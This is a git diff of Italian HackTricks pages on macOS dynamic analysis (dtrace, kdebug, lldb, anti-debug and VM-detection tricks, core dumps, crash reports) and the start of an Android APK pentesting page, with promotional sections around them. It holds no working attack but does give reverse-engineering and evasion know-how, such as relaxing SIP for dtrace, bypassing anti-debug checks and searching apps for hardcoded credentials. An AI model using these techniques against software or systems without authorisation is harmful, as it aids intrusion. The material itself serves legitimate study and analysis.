Questo strumento (`/usr/bini/ysdiagnose`) raccoglie essenzialmente molte informazioni dal tuo computer eseguendo decine di comandi diversi come `ps`, `zprint`...
|
||||
|
||||
Deve essere eseguito come **root** e il demone `/usr/libexec/sysdiagnosed` ha entitlement molto interessanti come `com.apple.system-task-ports` e `get-task-allow`.
|
||||
|
||||
Il suo plist si trova in `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` che dichiara 3 MachServices:
|
||||
|
||||
* `com.apple.sysdiagnose.CacheDelete`: Elimina vecchi archivi in /var/rmp
|
||||
* `com.apple.sysdiagnose.kernel.ipc`: Porta speciale 23 (kernel)
|
||||
* `com.apple.sysdiagnose.service.xpc`: Interfaccia in modalità utente tramite classe `Libsysdiagnose` Obj-C. Possono essere passati tre argomenti in un dizionario (`compress`, `display`, `run`)
|
||||
|
||||
### Log unificati
|
||||
|
||||
MacOS genera molti log che possono essere molto utili quando si esegue un'applicazione cercando di capire **cosa sta facendo**.
|
||||
macOS genera molti log che possono essere molto utili durante l'esecuzione di un'applicazione per capire **cosa sta facendo**.
|
||||
|
||||
Inoltre, ci sono alcuni log che conterranno il tag `<private>` per **nascondere** alcune informazioni **identificabili dall'utente** o dal computer. Tuttavia, è possibile **installare un certificato per divulgare queste informazioni**. Segui le spiegazioni da [**qui**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
Inoltre, ci sono alcuni log che conterranno il tag `<private>` per **nascondere** alcune informazioni **identificabili dall'utente** o dal **computer**. Tuttavia, è possibile **installare un certificato per divulgare queste informazioni**. Segui le spiegazioni da [**qui**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
|
||||
### Hopper
|
||||
|
||||
|
@ -215,7 +242,7 @@ Nel pannello centrale è possibile vedere il **codice disassemblato**. E puoi ve
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (343).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Facendo clic con il pulsante destro su un oggetto di codice è possibile vedere i **riferimenti da/a quell'oggetto** o persino cambiarne il nome (questo non funziona nel pseudocodice decompilato):
|
||||
Facendo clic destro su un oggetto di codice è possibile vedere i **riferimenti da/a quell'oggetto** o persino cambiarne il nome (questo non funziona nel pseudocodice decompilato):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -223,13 +250,13 @@ Inoltre, nella **parte centrale in basso è possibile scrivere comandi python**.
|
|||
|
||||
#### Pannello destro
|
||||
|
||||
Nel pannello destro è possibile vedere informazioni interessanti come la **cronologia di navigazione** (così sai come sei arrivato alla situazione attuale), il **grafo delle chiamate** dove puoi vedere tutte le **funzioni che chiamano questa funzione** e tutte le funzioni che **questa funzione chiama**, e le informazioni sulle **variabili locali**.
|
||||
Nel pannello destro è possibile vedere informazioni interessanti come la **cronologia di navigazione** (così sai come sei arrivato alla situazione attuale), il **grafo delle chiamate** dove puoi vedere tutte le **funzioni che chiamano questa funzione** e tutte le funzioni che **questa funzione chiama**, e informazioni sulle **variabili locali**.
|
||||
|
||||
### dtrace
|
||||
|
||||
Consente agli utenti di accedere alle applicazioni a un livello estremamente **basso** e fornisce un modo per gli utenti di **tracciare** i **programmi** e persino cambiare il loro flusso di esecuzione. Dtrace utilizza **sonde** che sono **posizionate in tutto il kernel** e si trovano in posizioni come l'inizio e la fine delle chiamate di sistema.
|
||||
Consente agli utenti di accedere alle applicazioni a un livello estremamente **basso** e fornisce un modo per gli utenti di **tracciare** **programmi** e persino modificare il loro flusso di esecuzione. Dtrace utilizza **sonde** che sono **posizionate in tutto il kernel** e si trovano in posizioni come l'inizio e la fine delle chiamate di sistema.
|
||||
|
||||
DTrace utilizza la funzione **`dtrace_probe_create`** per creare una sonda per ogni chiamata di sistema. Queste sonde possono essere attivate nel **punto di ingresso e di uscita di ogni chiamata di sistema**. L'interazione con DTrace avviene tramite /dev/dtrace che è disponibile solo per l'utente root.
|
||||
DTrace utilizza la funzione **`dtrace_probe_create`** per creare una sonda per ciascuna chiamata di sistema. Queste sonde possono essere attivate nel **punto di ingresso e di uscita di ciascuna chiamata di sistema**. L'interazione con DTrace avviene tramite /dev/dtrace che è disponibile solo per l'utente root.
|
||||
|
||||
{% hint style="success" %}
|
||||
Per abilitare Dtrace senza disabilitare completamente la protezione SIP, è possibile eseguire in modalità di ripristino: `csrutil enable --without dtrace`
|
||||
|
@ -251,11 +278,11 @@ Il nome della sonda è composto da quattro parti: il provider, il modulo, la fun
|
|||
|
||||
Per configurare DTrace per attivare le sonde e specificare quali azioni eseguire quando vengono attivate, dovremo utilizzare il linguaggio D.
|
||||
|
||||
Una spiegazione più dettagliata e ulteriori esempi possono essere trovati in [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
|
||||
È possibile trovare una spiegazione più dettagliata e ulteriori esempi su [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
|
||||
|
||||
#### Esempi
|
||||
|
||||
Esegui `man -k dtrace` per elencare gli **script DTrace disponibili**. Esempio: `sudo dtruss -n binary`
|
||||
Eseguire `man -k dtrace` per elencare gli **script DTrace disponibili**. Esempio: `sudo dtruss -n binary`
|
||||
|
||||
* In linea
|
||||
```bash
|
||||
|
@ -305,20 +332,58 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
|
|||
dtruss -c ls #Get syscalls of ls
|
||||
dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
```
|
||||
### kdebug
|
||||
|
||||
È una struttura di tracciamento del kernel. I codici documentati possono essere trovati in **`/usr/share/misc/trace.codes`**.
|
||||
|
||||
Strumenti come `latency`, `sc_usage`, `fs_usage` e `trace` lo utilizzano internamente.
|
||||
|
||||
Per interfacciarsi con `kdebug` viene utilizzato `sysctl` nello spazio dei nomi `kern.kdebug` e le MIB da utilizzare possono essere trovate in `sys/sysctl.h` avendo le funzioni implementate in `bsd/kern/kdebug.c`.
|
||||
|
||||
Per interagire con kdebug con un client personalizzato di solito si seguono questi passaggi:
|
||||
|
||||
* Rimuovere le impostazioni esistenti con KERN\_KDSETREMOVE
|
||||
* Impostare il tracciamento con KERN\_KDSETBUF e KERN\_KDSETUP
|
||||
* Utilizzare KERN\_KDGETBUF per ottenere il numero di voci del buffer
|
||||
* Ottenere il proprio client dal tracciamento con KERN\_KDPINDEX
|
||||
* Abilitare il tracciamento con KERN\_KDENABLE
|
||||
* Leggere il buffer chiamando KERN\_KDREADTR
|
||||
* Per abbinare ogni thread al suo processo chiamare KERN\_KDTHRMAP.
|
||||
|
||||
Per ottenere queste informazioni è possibile utilizzare lo strumento Apple **`trace`** o lo strumento personalizzato [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**.**
|
||||
|
||||
**Si noti che Kdebug è disponibile solo per 1 cliente alla volta.** Quindi può essere eseguito solo un tool basato su k-debug alla volta.
|
||||
|
||||
### ktrace
|
||||
|
||||
Le API `ktrace_*` provengono da `libktrace.dylib` che incapsula quelle di `Kdebug`. Quindi, un client può semplicemente chiamare `ktrace_session_create` e `ktrace_events_[single/class]` per impostare i callback su codici specifici e quindi avviarlo con `ktrace_start`.
|
||||
|
||||
Puoi utilizzare questo anche con **SIP attivato**
|
||||
|
||||
Puoi utilizzare come client l'utilità `ktrace`:
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
Oppure `tailspin`.
|
||||
|
||||
### kperf
|
||||
|
||||
Questo viene utilizzato per eseguire un profiling a livello di kernel ed è costruito utilizzando le chiamate `Kdebug`.
|
||||
|
||||
Fondamentalmente, la variabile globale `kernel_debug_active` viene controllata e se impostata chiama `kperf_kdebug_handler` con il codice `Kdebug` e l'indirizzo del frame del kernel chiamante. Se il codice `Kdebug` corrisponde a uno selezionato, ottiene le "azioni" configurate come una bitmap (controlla `osfmk/kperf/action.h` per le opzioni).
|
||||
|
||||
Kperf ha anche una tabella MIB sysctl: (come root) `sysctl kperf`. Questi codici possono essere trovati in `osfmk/kperf/kperfbsd.c`.
|
||||
|
||||
Inoltre, un sottoinsieme delle funzionalità di Kperf risiede in `kpc`, che fornisce informazioni sui contatori delle prestazioni della macchina.
|
||||
|
||||
### ProcessMonitor
|
||||
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) è uno strumento molto utile per controllare le azioni correlate ai processi che un processo sta eseguendo (ad esempio, monitorare quali nuovi processi un processo sta creando).
|
||||
|
||||
### SpriteTree
|
||||
|
||||
[**SpriteTree**](https://themittenmac.com/tools/) è uno strumento che stampa le relazioni tra i processi.\
|
||||
È necessario monitorare il tuo Mac con un comando come **`sudo eslogger fork exec rename create > cap.json`** (il terminale che avvia questo comando richiede FDA). E poi puoi caricare il json in questo strumento per visualizzare tutte le relazioni:
|
||||
[**SpriteTree**](https://themittenmac.com/tools/) è uno strumento per stampare le relazioni tra i processi.\
|
||||
È necessario monitorare il tuo Mac con un comando come **`sudo eslogger fork exec rename create > cap.json`** (il terminale che lo avvia richiede FDA). E poi puoi caricare il json in questo strumento per visualizzare tutte le relazioni:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -332,7 +397,7 @@ ktrace trace -s -S -t c -c ls | grep "ls("
|
|||
|
||||
### Apple Instruments
|
||||
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) fanno parte degli strumenti per sviluppatori di Xcode, utilizzati per monitorare le prestazioni dell'applicazione, identificare perdite di memoria e tracciare l'attività del filesystem.
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) fanno parte degli strumenti per sviluppatori di Xcode, utilizzati per monitorare le prestazioni dell'applicazione, identificare le perdite di memoria e tracciare l'attività del filesystem.
|
||||
|
||||
![](<../../../.gitbook/assets/image (1138).png>)
|
||||
|
||||
|
@ -345,7 +410,7 @@ fs_usage -w -f network curl #This tracks network actions
|
|||
```
|
||||
### TaskExplorer
|
||||
|
||||
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) è utile per vedere le **librerie** utilizzate da un binario, i **file** che sta utilizzando e le connessioni di **rete**.\
|
||||
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) è utile per vedere le **librerie** utilizzate da un binario, i **file** che sta utilizzando e le **connessioni di rete**.\
|
||||
Controlla anche i processi binari su **virustotal** e mostra informazioni sul binario.
|
||||
|
||||
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
|
||||
|
@ -354,7 +419,7 @@ In [**questo post sul blog**](https://knight.sc/debugging/2019/06/03/debugging-a
|
|||
|
||||
### lldb
|
||||
|
||||
**lldb** è lo strumento di **debugging** binario **de facto** per **macOS**.
|
||||
**lldb** è lo strumento di **fatto** per il **debugging** di binari su **macOS**.
|
||||
```bash
|
||||
lldb ./malware.bin
|
||||
lldb -p 1122
|
||||
|
@ -369,7 +434,7 @@ settings set target.x86-disassembly-flavor intel
|
|||
All'interno di lldb, eseguire il dump di un processo con `process save-core`
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrizione</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Avvia l'esecuzione, che continuerà senza interruzioni fino a quando non viene raggiunto un punto di interruzione o il processo termina.</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua l'esecuzione del processo in debug.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Esegue l'istruzione successiva. Questo comando salterà le chiamate alle funzioni.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Esegue l'istruzione successiva. A differenza del comando nexti, questo comando entrerà nelle chiamate alle funzioni.</td></tr><tr><td><strong>finish (f)</strong></td><td>Esegue il resto delle istruzioni nella funzione corrente ("frame") e si ferma.</td></tr><tr><td><strong>control + c</strong></td><td>Sospende l'esecuzione. Se il processo è stato avviato (r) o continuato (c), questo causerà l'arresto del processo ...dove si sta eseguendo attualmente.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Qualsiasi funzione chiamata main</p><p>b <nomebinario>`main #Funzione principale del binario</p><p>b set -n main --shlib <nome_libreria> #Funzione principale del binario indicato</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Elenco dei punti di interruzione</p><p>br e/dis <num> #Abilita/Disabilita il punto di interruzione</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Ottieni aiuto sul comando breakpoint</p><p>help memory write #Ottieni aiuto per scrivere nella memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <indirizzo_registro/memoria</strong></td><td>Visualizza la memoria come stringa terminata da null.</td></tr><tr><td><strong>x/i <indirizzo_registro/memoria</strong></td><td>Visualizza la memoria come istruzione assembly.</td></tr><tr><td><strong>x/b <indirizzo_registro/memoria</strong></td><td>Visualizza la memoria come byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Questo stamperà l'oggetto referenziato dal parametro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota che la maggior parte delle API o metodi Objective-C di Apple restituiscono oggetti e quindi dovrebbero essere visualizzati tramite il comando "print object" (po). Se po non produce un output significativo, utilizzare <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Scrivi AAAA in quell'indirizzo<br>memory write -f s $rip+0x11f+7 "AAAA" #Scrivi AAAA nell'indirizzo</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembla la funzione corrente</p><p>dis -n <nomefunzione> #Disassembla la funzione</p><p>dis -n <nomefunzione> -b <basename> #Disassembla la funzione<br>dis -c 6 #Disassembla 6 linee<br>dis -c 0x100003764 -e 0x100003768 # Da un indirizzo all'altro<br>dis -p -c 4 # Inizia nell'indirizzo corrente disassemblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Controlla l'array di 3 componenti nel registro x1</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrizione</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Avvia l'esecuzione, che continuerà senza interruzioni fino a quando non viene raggiunto un punto di interruzione o il processo termina.</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua l'esecuzione del processo in debug.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Esegue l'istruzione successiva. Questo comando salterà le chiamate alle funzioni.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Esegue l'istruzione successiva. A differenza del comando nexti, questo comando entrerà nelle chiamate alle funzioni.</td></tr><tr><td><strong>finish (f)</strong></td><td>Esegue il resto delle istruzioni nella funzione corrente ("frame") e si ferma.</td></tr><tr><td><strong>control + c</strong></td><td>Sospende l'esecuzione. Se il processo è stato avviato (r) o continuato (c), questo causerà l'arresto del processo ...dove si trova attualmente in esecuzione.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Qualsiasi funzione chiamata main</p><p>b <nomebinario>`main #Funzione principale del binario</p><p>b set -n main --shlib <nome_libreria> #Funzione principale del binario indicato</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Elenco dei punti di interruzione</p><p>br e/dis <num> #Abilita/Disabilita il punto di interruzione</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Ottieni aiuto sul comando breakpoint</p><p>help memory write #Ottieni aiuto per scrivere nella memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <indirizzo_registro/memoria</strong></td><td>Visualizza la memoria come stringa terminata da null.</td></tr><tr><td><strong>x/i <indirizzo_registro/memoria</strong></td><td>Visualizza la memoria come istruzione assembly.</td></tr><tr><td><strong>x/b <indirizzo_registro/memoria</strong></td><td>Visualizza la memoria come byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Questo stamperà l'oggetto referenziato dal parametro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota che la maggior parte delle API o metodi Objective-C di Apple restituiscono oggetti e quindi dovrebbero essere visualizzati tramite il comando "print object" (po). Se po non produce un output significativo, utilizzare <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Scrivi AAAA in quell'indirizzo<br>memory write -f s $rip+0x11f+7 "AAAA" #Scrivi AAAA nell'indirizzo</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disassembla la funzione corrente</p><p>dis -n <nomefunzione> #Disassembla la funzione</p><p>dis -n <nomefunzione> -b <basename> #Disassembla la funzione<br>dis -c 6 #Disassembla 6 righe<br>dis -c 0x100003764 -e 0x100003768 # Da un indirizzo all'altro<br>dis -p -c 4 # Inizia nell'indirizzo corrente disassemblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Controlla l'array di 3 componenti nel registro x1</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
Quando si chiama la funzione **`objc_sendMsg`**, il registro **rsi** contiene il **nome del metodo** come stringa terminata da null ("C"). Per stampare il nome tramite lldb fare:
|
||||
|
@ -384,26 +449,36 @@ Quando si chiama la funzione **`objc_sendMsg`**, il registro **rsi** contiene il
|
|||
|
||||
### Analisi Anti-Dinamica
|
||||
|
||||
#### Rilevamento di VM
|
||||
#### Rilevamento delle VM
|
||||
|
||||
* Il comando **`sysctl hw.model`** restituisce "Mac" quando l'**host è un MacOS** ma qualcosa di diverso quando si tratta di una VM.
|
||||
* Giocando con i valori di **`hw.logicalcpu`** e **`hw.physicalcpu`** alcuni malware cercano di rilevare se si tratta di una VM.
|
||||
* Alcuni malware possono anche **rilevare** se la macchina è basata su **VMware** in base all'indirizzo MAC (00:50:56).
|
||||
* È anche possibile scoprire se un processo viene debuggato con un codice semplice come:
|
||||
* È anche possibile scoprire se un processo è in fase di debug con un codice semplice come:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //processo in fase di debug }`
|
||||
* Può anche invocare la chiamata di sistema **`ptrace`** con il flag **`PT_DENY_ATTACH`**. Questo **impedisce** a un deb**u**gger di collegarsi e tracciare.
|
||||
* È anche possibile invocare la chiamata di sistema **`ptrace`** con il flag **`PT_DENY_ATTACH`**. Questo **impedisce** a un deb**u**gger di collegarsi e tracciare.
|
||||
* È possibile verificare se la funzione **`sysctl`** o **`ptrace`** viene **importata** (ma il malware potrebbe importarla dinamicamente)
|
||||
* Come indicato in questo articolo, “[Sconfiggere le tecniche anti-debug: varianti di ptrace di macOS](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_Il messaggio Processo # è uscito con **status = 45 (0x0000002d)** è di solito un segno rivelatore che il target di debug sta utilizzando **PT\_DENY\_ATTACH**_”
|
||||
* Come indicato in questo articolo, “[Sconfiggere le tecniche anti-debug: varianti di ptrace su macOS](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_Il messaggio Processo # è uscito con **status = 45 (0x0000002d)** è di solito un chiaro segno che il target di debug sta utilizzando **PT\_DENY\_ATTACH**_”
|
||||
## Core Dumps
|
||||
|
||||
I core dumps sono creati se:
|
||||
|
||||
- `kern.coredump` sysctl è impostato su 1 (per impostazione predefinita)
|
||||
- Se il processo non era suid/sgid o `kern.sugid_coredump` è 1 (per impostazione predefinita è 0)
|
||||
- Il limite `AS_CORE` consente l'operazione. È possibile sopprimere la creazione di core dumps chiamando `ulimit -c 0` e riabilitarli con `ulimit -c unlimited`.
|
||||
|
||||
In quei casi i core dumps vengono generati in base a `kern.corefile` sysctl e di solito vengono memorizzati in `/cores/core/.%P`.
|
||||
|
||||
## Fuzzing
|
||||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash **analizza i processi che causano crash e salva un report di crash su disco**. Un report di crash contiene informazioni che possono **aiutare uno sviluppatore a diagnosticare** la causa di un crash.\
|
||||
Per le applicazioni e altri processi **che vengono eseguiti nel contesto di lancio per utente singolo**, ReportCrash viene eseguito come LaunchAgent e salva i report di crash nella cartella `~/Library/Logs/DiagnosticReports/` dell'utente.\
|
||||
Per i daemon, altri processi **che vengono eseguiti nel contesto di lancio di sistema** e altri processi privilegiati, ReportCrash viene eseguito come LaunchDaemon e salva i report di crash nella cartella `/Library/Logs/DiagnosticReports` del sistema.
|
||||
ReportCrash **analizza i processi in crash e salva un report di crash su disco**. Un report di crash contiene informazioni che possono **aiutare uno sviluppatore a diagnosticare** la causa di un crash.\
|
||||
Per applicazioni e altri processi **in esecuzione nel contesto di avvio per utente singolo**, ReportCrash viene eseguito come LaunchAgent e salva i report di crash nella cartella `~/Library/Logs/DiagnosticReports/` dell'utente.\
|
||||
Per daemon, altri processi **in esecuzione nel contesto di avvio di sistema** e altri processi privilegiati, ReportCrash viene eseguito come LaunchDaemon e salva i report di crash nella cartella `/Library/Logs/DiagnosticReports` del sistema.
|
||||
|
||||
Se sei preoccupato che i report di crash **vengano inviati ad Apple**, puoi disabilitarli. In caso contrario, i report di crash possono essere utili per **capire come è avvenuto il crash di un server**.
|
||||
Se ti preoccupano i report di crash **che vengono inviati ad Apple**, puoi disabilitarli. In caso contrario, i report di crash possono essere utili per **capire come è avvenuto il crash di un server**.
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
|
@ -434,15 +509,13 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
|||
```
|
||||
### Gestori Interni
|
||||
|
||||
**Controlla la seguente pagina** per scoprire come puoi trovare quale app è responsabile di **gestire lo schema o protocollo specificato:**
|
||||
**Controlla la seguente pagina** per scoprire come puoi trovare quale app è responsabile di **gestire lo schema o il protocollo specificato:**
|
||||
|
||||
{% content-ref url="../macos-file-extension-apps.md" %}
|
||||
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Enumerazione dei Processi di Rete
|
||||
|
||||
È interessante trovare i processi che gestiscono i dati di rete:
|
||||
```bash
|
||||
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
|
||||
#wait some time
|
||||
|
@ -533,7 +606,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
@ -10,7 +10,7 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,13 +19,13 @@ Altri modi per supportare HackTricks:
|
|||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||
|
||||
**Approfondimenti sull'Hacking**\
|
||||
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||
Coinvolgiti con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||
|
||||
**Notizie sull'Hacking in Tempo Reale**\
|
||||
Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
||||
|
||||
**Ultime Annunci**\
|
||||
Resta informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||
**Ultime Comunicazioni**\
|
||||
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||
|
||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||
|
||||
|
@ -52,8 +52,8 @@ A volte è interessante **modificare il codice dell'applicazione** per accedere
|
|||
## Altri trucchi interessanti
|
||||
|
||||
* [Falsificare la tua posizione nel Play Store](spoofing-your-location-in-play-store.md)
|
||||
* **Scarica APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
|
||||
* Estrarre APK dal dispositivo:
|
||||
* **Scarica APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
* Estrai APK dal dispositivo:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
|
@ -79,7 +79,7 @@ Per favore, [**leggi qui per trovare informazioni sui diversi decompiler disponi
|
|||
|
||||
### Alla ricerca di informazioni interessanti
|
||||
|
||||
Semplicemente guardando le **stringhe** dell'APK puoi cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chiavi **API**, **crittografia**, **UUID Bluetooth**, **token** e qualsiasi altra cosa interessante... cerca anche **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin codificate nell'app).
|
||||
Semplicemente dando un'occhiata alle **stringhe** dell'APK puoi cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chiavi **API**, **crittografia**, **UUID Bluetooth**, **token** e qualsiasi altra cosa interessante... cerca anche eventuali **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin codificate nell'app).
|
||||
|
||||
**Firebase**
|
||||
|
||||
|
@ -87,24 +87,24 @@ Presta particolare attenzione agli **URL di Firebase** e controlla se sono confi
|
|||
|
||||
### Comprensione di base dell'applicazione - Manifest.xml, strings.xml
|
||||
|
||||
L'**esame dei file \_Manifest.xml** e **strings.xml** di un'applicazione può rivelare potenziali vulnerabilità di sicurezza. Questi file possono essere accessati utilizzando decompiler o rinominando l'estensione del file APK in .zip e quindi decomprimendolo.
|
||||
L'**esame dei file \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* di un'applicazione può rivelare potenziali vulnerabilità di sicurezza\*\*. Questi file possono essere accessibili utilizzando decompiler o rinominando l'estensione del file APK in .zip e quindi decomprimendolo.
|
||||
|
||||
